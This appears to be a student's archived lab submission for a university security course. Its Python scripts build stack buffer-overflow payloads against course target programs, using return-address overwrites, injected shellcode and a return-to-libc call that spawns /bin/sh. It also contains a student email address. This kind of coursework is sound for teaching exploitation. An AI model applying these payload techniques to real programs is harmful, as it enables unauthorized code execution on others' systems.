project-2.tar

cookie0000644000175000017500000000000514506360303012203 0ustar  studentstudent3107
sol0.py0000644000175000017500000000075114506410227012247 0ustar  studentstudent#/bash/bin/python3
import sys
import struct
from shellcode import shellcode

def generate_input():
    padding = b'A' * 2
    grade_value = b"A+\x00"
    name_value = b"yzz0229\x00"
    return name_value + padding + grade_value
    

malicious_input = generate_input()
#buffer_size = 64
#value_to_overwrite_with = b"Hi yzz0229! Your grade is A+."
#malicious_input = b'A' * buffer_size
#malicious_input += struct.pack('<I', value_to_overwrite_with)
sys.stdout.buffer.write(malicious_input)
sol1.py0000644000175000017500000000050614506712671012256 0ustar  studentstudent#/bash/bin/python3
import sys
import struct

def exploit_target1():
    offset = 16
    address_of_print_good_grade = 0x08049793
    payload = b'A' * offset
    payload += struct.pack('<I', address_of_print_good_grade)
    #print(payload)
    sys.stdout.buffer.write(payload)

if __name__ == "__main__":
    exploit_target1()
sol2.py0000644000175000017500000000056014507066413012254 0ustar  studentstudent#/bash/bin/python3
import sys
import struct
from shellcode import shellcode


#shellcode = (
#    b"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31"
#    b"\x31\x31\x31\x31\x031\x31\x31"
#)
#print(shellcode)
buffer_addr = 0xbffef32c
padding = b'A' * (112 - len(shellcode))

payload = shellcode + padding + struct.pack("<I", buffer_addr)

sys.stdout.buffer.write(payload)
sol3.py0000644000175000017500000000041014507102024012234 0ustar  studentstudent#/bash/bin/python3
import sys
import struct


system_addr = 0x8052530
padding = b'A' * 22
bin_sh_addr = 0x80be1ed

padding2 = b'A' * 4
payload = padding + struct.pack("<I", system_addr) + padding2 + struct.pack("<I", bin_sh_addr)

sys.stdout.buffer.write(payload)
sol4.py0000644000175000017500000000047414507115376012265 0ustar  studentstudent#/bash/bin/python3
import sys
import struct
from shellcode import shellcode
#0xbffef39c
#2064
return_addr = 0xbffef39c
padding = b'A' * (2048 - len(shellcode))
buffer_addr = 0xbffeeb88

payload = padding + shellcode + struct.pack("<I", buffer_addr) + struct.pack("<I", return_addr)

sys.stdout.buffer.write(payload)
sol5.py0000644000175000017500000000061514507144655012265 0ustar  studentstudent#/bash/bin/python3
import sys
import struct
from shellcode import shellcode
#0xbffef39c
#0xbffb94a4
def generate_exploit_file(filename):

    new_ret_addr = 0xbffef330
    hex = 0x4000000e
    payload = struct.pack("<I", hex)+shellcode + b'A' * 51 + struct.pack("<I", new_ret_addr)*4

    
    sys.stdout.buffer.write(payload)

if __name__ == "__main__":
    generate_exploit_file("exploit_file")
setup.txt0000644000175000017500000000002314507153520012712 0ustar  studentstudentyzz0229@auburn.edu